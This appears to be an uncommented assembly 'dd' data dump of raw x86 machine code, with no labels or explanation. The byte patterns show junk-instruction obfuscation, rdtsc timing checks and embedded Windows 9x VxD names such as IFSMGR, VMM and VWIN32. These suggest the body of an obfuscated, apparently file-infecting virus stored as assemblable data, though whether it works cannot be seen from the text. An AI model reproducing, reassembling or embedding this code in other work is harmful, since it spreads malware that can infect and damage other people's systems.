		dd 0F525031h, 5A585A31h, 0E9310F58h, 6,	0BA8B0DBCh, 585AB3C3h
		dd 31B50990h, 8D06030Ch, 63FCE85h, 0B5958906h, 0FF06032Eh
		dd 50006AD0h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 1FBB8B4Ch, 60B26A7Bh, 0B05EC880h, 8E0F6188h
		dd 7, 18A0Fh, 3F50000h,	6A282444h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 8DE9C351h
		dd 14389587h, 792F3FFBh, 0C8A0Fh, 8B0F0000h, 6,	65DB589h
		dd 0FAB0603h, 685h, 3D858900h, 5E060310h, 73A98DFFh, 0BD830606h
		dd 60673A9h, 330A7500h,	4DB58DC0h, 0FF060682h, 81AD56E6h
		dd 28247Ch, 77100000h, 448B500Eh, 8D502C24h, 63FCE85h
		dd 3D0FF06h, 97282444h,	858ADF8Bh, 60673A5h, 474C084h
		dd 4C75073Ah, 0AEC03257h, 2B5EFD75h, 33FC52FBh,	0D18B49C9h
		dd 0DB33C033h, 8AC132ACh, 8AEA8ACDh, 6608B6D6h,	0D166EBD1h
		dd 660973D8h, 66504135h, 5449F381h, 0EB75CEFEh,	0D333C833h
		dd 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h, 5AC18B66h,	0F74D03Bh
		dd 4C6835Eh, 12AD85FFh,	5DE90603h, 5EFFFFFFh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 25C35747h, 672D0C3Dh
		dd 210A55A1h, 0FB8B60D0h, 8B61F98Bh, 312AD85h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 8D89CF1Bh, 60331A1h,	2F018589h, 0E0D10603h, 13E9h, 6E854B00h
		dd 5BA3DB3h, 0F37606F6h, 0D1E29622h, 3FEDBA55h,	22598503h
		dd 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 22FA2C3h,	0B1D28087h, 0CD950990h,	0BE060322h
		dd 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0D5C35242h
		dd 851D88ADh, 0F101100h, 687h, 0D9958900h, 9606031Ch, 28258D29h
		dd 0AD660603h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	0DBC35040h, 0E21A1279h,	0C0955FADh, 0BD89F93Bh
		dd 60321F1h, 31259589h,	0E0C10603h, 55006A02h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 4D9E8818h
		dd 8C22C15Eh, 6830Fh, 95010000h, 6032431h, 31C18503h, 0EE90603h
		dd 0EA000000h, 1C12FF7h, 0CDBBC169h, 99FE63EAh,	0F6096E3h
		dd 1686h, 11E900h, 30CB0000h, 1890D789h, 5476413Dh, 0A8B45980h
		dd 0E90257C9h, 11h, 22544826h, 0F3BCAA1h, 412E8BB1h, 0E04623C1h
		dd 89AD613Eh, 329719Dh,	247C8106h, 24h,	0E0870F10h, 0F8000000h
		dd 78B0Fh, 60600000h, 0F18B6661h, 11E95061h, 83000000h
		dd 0D734FF54h, 0AB2C715h, 11446338h, 711DDC6Ch,	6A240489h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 5147C351h, 89AAC116h, 30475B5h, 24448B06h
		dd 5E928h, 0FE870000h, 50A502D5h, 12840F60h, 0E8000000h
		dd 0Ch,	24960C70h, 62FD1E16h, 8A5C7557h, 489615Fh, 0EE924h
		dd 0F4360000h, 0DBEB22C6h, 1E22EB0Bh, 0BE3DCF51h, 3FCE858Dh
		dd 840F0606h, 0Ch, 6840Fh, 860F0000h, 0
		dd 3799D89h, 0D0FF0603h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 51C35646h, 0F2EB7B4Eh, 0E96A45CEh, 5
		dd 0E5468E9Dh, 0C1BD2950h, 306032Bh, 9242444h, 31E7185h
		dd 24448906h, 57006A1Ch, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 6A9B441Dh, 2F3985C6h, 0C7000603h
		dd 674B485h, 6,	0AD85C700h, 60673h, 60000000h, 79AE8CBAh
		dd 61ADB065h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 19h,	0A5C35242h, 88912617h, 6A6171h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 9131CC3h
		dd 1CC19056h, 8E9010Eh,	2000000h, 8D55A283h, 0C299583Bh
		dd 6A0008h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 49DB91C3h, 60734AE7h, 68F0F92h, 1000000h
		dd 305A185h, 0C1858B06h, 6A060331h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0B1DFC351h
		dd 0E42BFAFBh, 0D0C23B9Fh, 68E0Fh, 85310000h, 6032271h
		dd 298D294Ah, 29060317h, 300198Dh, 4D26B06h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0B5C35242h, 0AA33BBDFh
		dd 206B6FB2h, 0C203F973h, 2B158D29h, 85890603h,	60328B5h
		dd 0A820F96h, 60000000h, 95896160h, 6031A91h, 9D89AD61h
		dd 60305A1h, 24247C81h,	10000000h, 163870Fh, 850F0000h
		dd 18h,	11E960h, 67520000h, 906DDC5Ch, 0B463A8FEh, 3D370EFAh
		dd 6154C516h, 820F50F8h, 19h, 14E9h, 1A8CC200h,	407533DCh
		dd 4EC84789h, 870A0B2Ch, 65344558h, 240489E5h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0D5C35242h, 0BA326D16h
		dd 8F0FE184h, 8, 28C0Fh, 61600000h, 2824448Bh, 21019589h
		dd 50900603h, 0D8B0F52h, 0E9000000h, 8,	30AC0C66h, 0FF32D0A0h
		dd 0E860310Fh, 6, 0CD4B164Bh, 8B590DFAh, 585A61F0h, 0DE950h
		dd 0A4DE0000h, 58841389h, 90277518h, 9070A1C8h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 46C35343h, 0C42B1AD5h
		dd 4D2CB8CBh, 0E830Fh, 9E90000h, 0B000000h, 340A06B2h
		dd 0F88F75F0h, 3FCE858Dh, 6A0606h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 7BC33C3h, 0FCE1A83Ch
		dd 358D89F8h, 0FF060309h, 56006AD0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 858960CCh
		dd 6032B0Dh, 11E9h, 2535B900h, 74E5A2B3h, 1A3AEE7Ch, 609E457Ah
		dd 31617B17h, 306098Dh,	0FD21E906h, 6AFFFFh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 405BD9C3h
		dd 95B589FFh, 8D060326h, 6888985h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 8C0F6074h
		dd 5, 436B92BEh, 0C9B58919h, 6106032Bh,	60525090h, 7E9FE8Bh
		dd 91000000h, 0D55C2EECh, 0F61CE28h, 10E931h, 635F0000h
		dd 0C8A9CF9Dh, 0EC504390h, 0A3D368DFh, 585AAC8Eh, 52506050h
		dd 0FDA8B66h, 0DE8B6631h, 8B66585Ah, 609061D6h,	168E0Fh
		dd 10E80000h, 0C6000000h, 296CECEFh, 6487E6AEh,	0C927A49h
		dd 59CC0538h, 35FF6461h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 8CC35242h
		dd 0F853CEF8h, 0BB60C8FFh, 2603D2D0h, 14DA8166h, 48B614Eh
		dd 18C0F24h, 0F9000000h, 0E58589FCh, 6A060312h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 97EC351h, 31041BDh, 25896406h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 11C35545h
		dd 68F0F33h, 31000000h,	32241BDh, 0C0858D06h, 6A060686h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 127BC357h, 2E50D514h, 496010F8h, 25BD89F9h
		dd 89060323h, 8D290160h, 6031BCDh, 205E9h, 0DB8BF900h
		dd 0E8h, 0ED815D00h, 60686B9h, 12FF9CBCh, 85BD8300h, 6032Eh
		dd 858B1874h, 60301FDh,	8B0000C6h, 3117585h, 0C606h, 20F195FFh
		dd 0FF600603h, 66FB1B5h, 0B5858D06h, 5006066Fh,	71AD858Dh
		dd 0FF500606h, 3128595h, 0CC48306h, 810FFC61h, 0Ah, 81F3B660h
		dd 2A13F0C2h, 0B58D6128h, 60671ADh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 94C35242h, 6B8E68D4h, 0CDCCF251h
		dd 0EE9E5h, 0DF110000h,	796EEBA7h, 0E84B532Fh, 1B112D9Eh
		dd 5BD8DF8h, 0F06030Dh,	68Eh, 49BD8900h, 80060312h, 840F003Eh
		dd 50h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h
		dd 0BAC35545h, 98D89AFh, 0A4060310h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 84C35141h, 0F5FFBE16h, 0FFADE9FCh
		dd 0B589FFFFh, 6031799h, 0B8h, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0B2A7904Ch
		dd 33E5FBAAh, 10A98589h, 0FAA0603h, 0A82h, 5E900h, 0DD940000h
		dd 0B87B9B63h, 7, 18C0Fh, 0C7F80000h, 31BDD85h,	106h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0F4EB263h, 0F8Fh, 5E96000h, 34000000h, 0F0791936h, 61D6B70Fh
		dd 1C8D8DFCh, 0F06034Dh, 681h, 0E99D3100h, 0FF060308h
		dd 55006AE1h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 7AD3F14Ch, 601FCCE4h, 0BEDFE781h, 0D08B2211h
		dd 245C8B61h, 0E8550Ch,	5D000000h, 8893ED81h, 838B0606h
		dd 0B8h, 6FB18589h, 858D0606h, 60686B2h, 0B88389h, 335D0000h
		dd 6AC3C0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0D0733AC3h, 2982996Fh, 32DEDBDh, 68F0F06h
		dd 31000000h, 3000995h,	10E96006h, 0C4000000h, 9D74A41Bh
		dd 4652D2Ah, 3C7ABB08h,	8D5149ADh, 68B3D85h, 0AE906h, 3D5F0000h
		dd 0D82A268Eh, 292C94C1h, 10E950h, 0F6710000h, 0E1D84ACAh
		dd 0B29ABD49h, 0A76CC2FFh, 48933EEh, 8D850924h,	64060313h
		dd 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 0DFF435C3h, 258964h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 4A6FC352h, 4BF4414Bh, 0BD89AE3Bh,	6030395h
		dd 14E9h, 3AD1C100h, 996FD073h,	0DD4F8F82h, 0EC4410FCh
		dd 0E5BD6273h, 7E985h, 0D7760000h, 0B4792F7h, 0D6858D27h
		dd 3106068Bh, 322E9BDh,	1608906h, 0C78B6660h, 615BE680h
		dd 2F3985C6h, 6A4F0603h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0F2FEC351h,	0F7AB4E3h
		dd 188Ah, 128F0F00h, 0E9000000h, 0Dh, 1FB27A69h, 5923E2E8h
		dd 0FD1F6DC5h, 4E839h, 742A0000h, 8E0FFEC8h, 16h, 8E860h
		dd 32E60000h, 918FCA5h,	0F5A083Dh, 8Ch,	60506100h, 0BE60F28Bh
		dd 141E1627h, 61616160h, 424448Bh, 7E9h, 1A8D7A00h, 0FB025B33h
		dd 0BE9008Bh, 0C7000000h, 3078802Dh, 8CD3233Ch,	44891A35h
		dd 0E9600424h, 6, 54ED345h, 8B66F502h, 6A5861C2h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0A81DC356h, 0C518D89h, 0FFF80603h, 328C9B5h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 6E0CE8F9h, 60F0CAD4h, 0FE9h,	9E18DB00h, 0F94A75DDh
		dd 0D28985BCh, 72482400h, 18D0Fh, 61F50000h, 73BC858Dh
		dd 6A0606h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0C80006C3h, 59858960h, 6106030Ch,	9D29D0FFh
		dd 6031B15h, 1005B589h,	0BBE90603h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0A73CC357h, 39951EBEh, 245C8BE3h, 0E8550Ch, 5D000000h
		dd 8B47ED81h, 858B0606h, 6031359h, 28C98589h, 858B0603h
		dd 6032D11h, 31918589h,	858B0603h, 6030175h, 0C7D8589h
		dd 85C60603h, 6032F39h,	0B485C700h, 60674h, 8D000000h
		dd 68BD685h, 0B8838906h, 5D000000h, 0FC3C033h, 1383h, 0D8D0F00h
		dd 0E9000000h, 8, 0DF4D30Bh, 4DCE8AB3h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 14h, 86C35242h, 89858B60h
		dd 89060312h, 32C85BDh,	74BC6106h, 6A0012FFh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 8886C357h, 0DE9ACh, 9FD80000h, 6AF5828Fh, 0AC61272Ch
		dd 94AE8B7h, 3292DBDh, 58F6406h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 90C35747h
		dd 8603ED36h, 1FF9FF6Fh, 0B70F60A9h, 0FE9FFh, 0BDCE0000h
		dd 96FC7B39h, 2EE9B2D4h, 23E64277h, 0C483613Dh,	52006A04h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0F70EBA5Ch, 4934EB61h, 474D5346h, 56202052h,	2020444Bh
		dd 56202020h, 20204D4Dh, 56202020h, 334E4957h, 56202032h
		dd 444C4458h, 202052h, 2 dup(0)
		dd 0E9000000h, 83Ah, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 0BC35040h, 0CACB6EADh, 5E4B90Dh, 0C8D0FF0h
		dd 0F000000h, 68Ch, 870F00h, 0F000000h,	1C8Ah, 8E96000h
		dd 0DD000000h, 19F9E168h, 0E9B5B86Ah, 8, 0FB8F8E04h, 46BAE428h
		dd 0C7F56061h, 68CA385h, 6, 0BE96000h, 4D000000h, 0DC37D7B6h
		dd 0EC218E7Eh, 0BF0F20DEh, 0C68B61F7h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 40C35646h, 52853746h, 310E8C16h
		dd 0CE9h, 1D35A100h, 5A6D0E90h,	0C927042Ah, 9860F04h, 60000000h
		dd 838E97B9h, 61F48A2Ch, 6AD8B70Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0FC9AC353h
		dd 0F10E8C1h, 1E86h, 810F6000h,	0
		dd 10E8h, 0C9A2AF00h, 11D1A6C9h, 0AB51A57h, 0E9CEAE81h
		dd 66615832h, 6A08C8C1h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 6460C352h, 118A0Fh
		dd 0CE90000h, 0DE000000h, 6D50AA59h, 85E439BCh,	8940B921h
		dd 68CA785h, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 6A08CDC1h, 8311E541h, 7E9h, 0F1F8C500h
		dd 0A4665B07h, 8CBC166h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 4EC35545h, 3D5409D1h,	0E977FDA5h, 0Fh
		dd 0B4996989h, 0BB186E68h, 1888726Ah, 83C5A6C5h, 850F40FBh
		dd 0A3h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Ah,	1DC35040h, 0ECCB7831h, 850FFDC8h, 11h, 5E960h
		dd 0F3930000h, 664074A9h, 0FAB2E081h, 7BBD8D61h, 6A06068Ch
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0C77BC352h, 608D0408h, 0EE8h, 9532F600h
		dd 366F0705h, 0C562ABF2h, 669896B8h, 0E85EFE8Bh, 11h, 0DDF5872Dh
		dd 1E05529Ah, 0F267A892h, 869B6072h, 0D08166B7h, 615ED61Fh
		dd 22DE9h, 5E900h, 271E0000h, 8359D633h, 850F0DFBh, 4Fh
		dd 83BD8DF5h, 0E906068Ch, 11h, 2BA96030h, 0A4C4E6EDh, 0BD8A800Fh
		dd 0E518A81Dh, 1F8E932h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 8AFCEFC3h, 8E9FA11h
		dd 0E4000000h, 0FF5EC337h, 830F51DEh, 850F01FBh, 0ABh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0DDC35747h
		dd 560B58EDh, 5E9h, 11D81A00h, 0BD8D0418h, 6068C8Bh, 1E8E0Fh
		dd 0E8600000h, 13h, 86EC89E7h, 10B81F42h, 7CC1F0A0h, 0F5561425h
		dd 5B051CE6h, 61D8BF0Fh, 0AE9h,	0B36AC200h, 17227A79h
		dd 0E945C40Dh, 15Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 0ECC35646h, 0E93BAA72h, 7, 0FE972645h
		dd 0E9DCD765h, 13h, 1C31091h, 414031Bh,	39386059h, 0E88A7D68h
		dd 83FC5AA7h, 850F2AFBh, 0ACh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 1DC35545h, 14E90Eh,	1C1C0000h
		dd 0F899255Bh, 679D0B55h, 0CF8CAD11h, 0F5BC494Eh, 0BD8DCA84h
		dd 6068C93h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	0F5C35141h, 3A97029Fh, 0ABE9F5F9h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0F241C356h, 12820Fh,	56600000h, 9E95Bh, 4A0A0000h, 0BC231718h
		dd 61320497h, 48F0F60h,	66000000h, 0F1CE2BFh, 28Eh, 61CB8A00h
		dd 0F27FB83h, 2D085h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0E8C5923Dh, 0F60D648h
		dd 86h,	0C0806000h, 8D6161AFh, 68C9BBDh, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 0B7E5F720h, 60BE31ABh, 0BD895477h, 6068CABh,	0C88C66FCh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 61C35343h
		dd 0F4D6047Bh, 8B60E026h, 32461D9h, 61F5FC60h, 850FC00Ah
		dd 18Fh, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 16h,	39C35747h, 8DF87324h, 6940CB5h,	78A0F06h, 0F000000h
		dd 18Bh, 858BF800h, 606948Ch, 8E960h, 83FA0000h, 480491Ah
		dd 61F53845h, 0E800F50h, 50000000h, 0F616052h, 0F525031h
		dd 5A585A31h, 24148958h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 14h, 0D2C35040h, 0CE960h, 0AB20000h, 11446338h
		dd 711DDC6Ch, 0E96187C0h, 0Fh, 1B95900Ah, 0BFB72977h, 0D9968BD9h
		dd 0F51FC2Ch, 0FE244C01h, 1C870Fh, 0E9600000h, 10h, 0E3DDF67h
		dd 162CFF0h, 20A6A684h,	806E4064h, 4285CBAh, 0F60616Dh
		dd 0D48AC2BFh, 5E95A61h, 0C3000000h, 0A79217B1h, 6A24C283h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 39C4C356h, 5B83F19Ch, 8966DEF2h, 0C1F8FC72h
		dd 6A10CEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0E9F979C3h, 13h, 2511AFF0h, 5F47A617h, 0BD8E428Fh
		dd 0CC061C79h, 661ACE01h, 6A027289h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 1AD0C356h
		dd 66F86018h, 61C0F4BAh, 820F04CDh, 12h, 0F08B6660h, 8E9h
		dd 0A1EC1200h, 0B9125EECh, 0E9F56113h, 9Ah, 0AED8060h
		dd 8B61B6B7h, 6948C85h,	0B58DF506h, 606940Ch, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 1CC35545h, 61541D51h
		dd 60603F63h, 0B585BAF8h, 57614DD7h, 0E9615BF5h, 10h, 74199B69h
		dd 951B0370h, 1CC77FF4h, 94700F14h, 4BD4858Dh, 850F0606h
		dd 7, 1880Fh, 0FFF80000h, 55006AD0h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0B850F26h
		dd 0E9000000h, 6, 7559F343h, 8589BAAEh,	6068CA3h, 0CE9h
		dd 64CF0200h, 0C0C10C11h, 34241CB7h, 5E961FAh, 14000000h
		dd 8010D8F3h, 8CA3858Bh, 6A0606h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 2CD63C3h, 2C4657EDh
		dd 98F0F43h, 60000000h,	830FFCh, 61000000h, 800F60C3h
		dd 0Bh,	6E9h, 0A78C8500h, 0F0EA0CEh, 685h, 880F00h, 61000000h
		dd 52006A60h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 0C80DF317h, 8D200594h, 6660FCD8h, 8B901BB9h
		dd 0BD8361CAh, 606948Ch, 30850F00h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 323FC357h, 1890F64h,	0F5000000h, 948C85C7h, 13F0606h
		dd 0E9F80001h, 0Eh, 8890Fh, 60600000h, 0ECBF6661h, 20CD6190h
		dd 0
		dd 3774C00Bh, 8B0C708Dh, 68CABBDh, 8B906h, 75A60000h, 0FA754922h
		dd 8B30488Bh, 68CA79Dh,	34583B06h, 0D38B157Fh, 304D26Bh
		dd 89018BCAh, 68CA385h,	8B04EB06h, 61C5EB00h, 8CA3858Bh
		dd 0FCF0606h, 885h, 2890F00h, 60000000h, 8E961h, 67C60000h
		dd 1BEA1530h, 0C08BDC52h, 148E9h, 5000h, 5400h,	5800h
		dd 5C00h, 6000h, 6400h,	6800h, 6C00h, 0B000h, 0B400h, 0B800h
		dd 0BC00h, 0C000h, 0C400h, 0C800h, 0CC00h, 0D000h, 0D400h
		dd 0D800h, 0DC00h, 0E000h, 0E400h, 0E800h, 0EC00h, 38h dup(0)
		dd 5751C900h, 9F50EB00h, 0F5858D00h, 1060694h, 328C1BDh
		dd 35858906h, 0F5060696h, 2F3985C6h, 66540603h,	0CEFEE381h
		dd 4E8h, 62682900h, 0BE8EEh, 91F60000h,	0A3069DF8h, 0CF6B0CD3h
		dd 0A997BB37h, 505B74DFh, 424448Bh, 52505650h, 585A310Fh
		dd 8B595Eh, 0E8605250h,	0Bh, 0B75ECBF2h, 0D04B5BDAh, 5FA895F7h
		dd 0E9310F61h, 14h, 458A38FBh, 0D3C4736Eh, 0E9823B5Fh
		dd 0BC149BDEh, 0AF3D4616h, 4489585Ah, 0CA8B0424h, 4840F58h
		dd 66000000h, 0FF8AB2BAh, 328C9B5h, 2D8D0906h, 0E9060328h
		dd 14h,	2D41628Fh, 1F96E90Ah, 0D438D5ACh, 0C317B8ACh, 3148F9FEh
		dd 73BC858Dh, 8E0F0606h, 2, 810FEC8Ah, 6, 145DBD89h, 0D0FF0603h
		dd 7E8h, 44B41500h, 0C2ED8F90h,	5F98B966h, 3985895Bh, 29060696h
		dd 31CED95h, 4DE906h, 0AE90000h, 39000000h, 0DD8B7E23h
		dd 42176140h, 0A99D8946h, 56060303h, 9635B58Bh,	6890606h
		dd 96358583h, 5E040606h, 0B58D60C3h, 60694F5h, 6A560FEBh
		dd 0FF36FF00h, 6963995h, 0C6835E06h, 3E8304h, 0C361EC75h
		dd 71B58BF9h, 8D06032Eh, 6975985h, 1D858906h, 0E806032Ah
		dd 7, 4EDE12B5h, 0F85176Ah, 665AD8BFh, 0C281DA8Bh, 5D4Bh
		dd 5ABEC68Ah, 8118BB72h, 44A4D3C6h, 8D8B60E7h, 6030F09h
		dd 617DD180h, 9D8B0A8Bh, 6030ABDh, 0BC21C181h, 38B3445Ah
		dd 0FE02F181h, 0BF6676EEh, 0C18103D1h, 475D06F9h, 2155850Bh
		dd 0A890603h, 1CCD858Bh, 0EA830603h, 89B58901h,	4A06032Dh
		dd 0BF0F4A4Ah, 1EE83C2h, 0D850Fh, 8B660000h, 21E9FEh, 0F2FA0000h
		dd 66E544A7h, 57E6E081h, 0FFFFA3E9h, 0CF959CFFh, 0BE4F1A31h
		dd 0FCE75B76h, 35F4BBC2h, 0E97528F2h, 0E5h, 0FFEE4D10h
		dd 1F3271DCh, 7A0E0A1Dh, 33538FDDh, 7D2F6D37h, 2D773D55h
		dd 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h, 5FEDF73Dh
		dd 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh,	171E577Dh
		dd 2075DF6Dh, 20602060h, 60E0E020h, 7B68AC20h, 0A1E4A9F7h
		dd 93B2D020h, 9DB7EDA6h, 0A3F291B9h, 206020ACh,	20602060h
		dd 60E0E020h, 33537520h, 7D2F0D0Ah, 20602055h, 28602060h
		dd 0F0362BA7h, 0F360D650h, 96A1EFB6h, 0A7B4E0F7h, 7192B8E3h
		dd 0B9E9B3F4h, 2060F76Dh, 20602060h, 0F7202060h, 351ADF6Dh
		dd 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h
		dd 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h, 5FEDF73Dh
		dd 335375D5h, 7D2F6D37h, 0E0A1E35h, 66C1A800h, 0F2FD54A7h
		dd 68689143h, 0D9FE92Fh, 2D680000h, 0E906069Ch,	0FFFCE441h
		dd 69D2668h, 0E437E906h, 1768FFFCh, 0E906069Eh,	0FFFCE42Dh
		dd 69EFA68h, 0E423E906h, 8668FFFCh, 0E906069Fh,	0FFFCE419h
		dd 6A01B68h, 0E40FE906h, 7668FFFCh, 0E90606A1h,	0FFFCE405h
		dd 6A25868h, 0E3FBE906h, 2E68FFFCh, 0E90606A3h,	0FFFCE3F1h
		dd 6A40968h, 0E3E7E906h, 0F968FFFCh, 0E90606A4h, 0FFFCE3DDh
		dd 0BA2ECFA2h, 2FBD46D7h, 590FB45Ah, 0C99F20F4h, 7A6E9364h
		dd 78194D88h, 0E8881D73h, 5E3C81C7h, 0CBA23755h, 9B1FA62Ah
		dd 858168Fh, 19DA6A71h,	0ED68432Ah, 9F03E6Fh, 5C61345Bh
		dd 9AF2590Ch, 0A426337h, 0BB2DD6A7h, 2EBE3FD6h,	2393C77Dh
		dd 3414CE88h, 770EEC9Bh, 0EC29A286h, 0C097770Eh, 0EB10E2C1h
		dd 489CA01Ch, 0A5E5F36h, 9318F98Ch, 16F9ECF9h, 1692F791h
		dd 0A6C0DEA9h, 11F24482h, 0A86D3275h, 0DF78D0DFh, 5D710B96h
		dd 5004E98Eh, 2DB0D8A7h, 7927A54Ah, 0EEFE0394h,	85687DFBh
		dd 0A5FE97B3h, 9742710Bh, 9EA615C2h, 0E9740C5Dh, 0F1B957FFh
		dd 0AA4B710Ah, 85B83CCBh, 0C453D308h, 54593984h, 2DA68234h
		dd 93710BA2h, 5185BFC4h, 3C60DCE1h, 0E46F8E51h,	9A6E2CCh
		dd 9040D971h, 29BC710Bh, 0AE573E53h, 355B26C7h,	0A028CDA0h
		dd 0FDB53ADDh, 906EE743h, 95B5710Bh, 710B90FCh,	2FBA9540h
		dd 0AA6A3951h, 0A4492C66h, 10997B0Ah, 5FB1A778h, 108CB9F0h
		dd 8831C685h, 3DDE582Ch, 25D2EAB7h, 0DBE84472h,	936A08C1h
		dd 4E6F03E2h, 58DE8F2h,	3FCE0000h, 59DA5657h, 2AA2432Ah
		dd 590FB047h, 2D45632Eh, 5A32B758h, 53F7B10Fh, 7512007Dh
		dd 32AB7F3Bh, 8E710BE0h, 0D9A44D23h, 0E29C1A72h, 0E0870028h
		dd 66F5710Bh, 0BE0AD26h, 0E8441371h, 0BE043C0h,	0F53C171h
		dd 6A3E1329h, 77CC93h, 0F06F0000h, 0FB94B485h, 41770EF0h
		dd 92730F9Ah, 0F194F4FDh, 0D0833D7Bh, 32E06C8Fh, 0EBC3B933h
		dd 75113359h, 0B952F6B0h, 60710B13h, 0B134FC8h,	0E73EAD71h
		dd 90D3F3BAh, 8C1BFC70h, 24A1130h, 0B615DFAh, 550FAB71h
		dd 0B615CF5h, 7D35A071h, 0B6134ADh, 67DD8871h, 0A25C0F53h
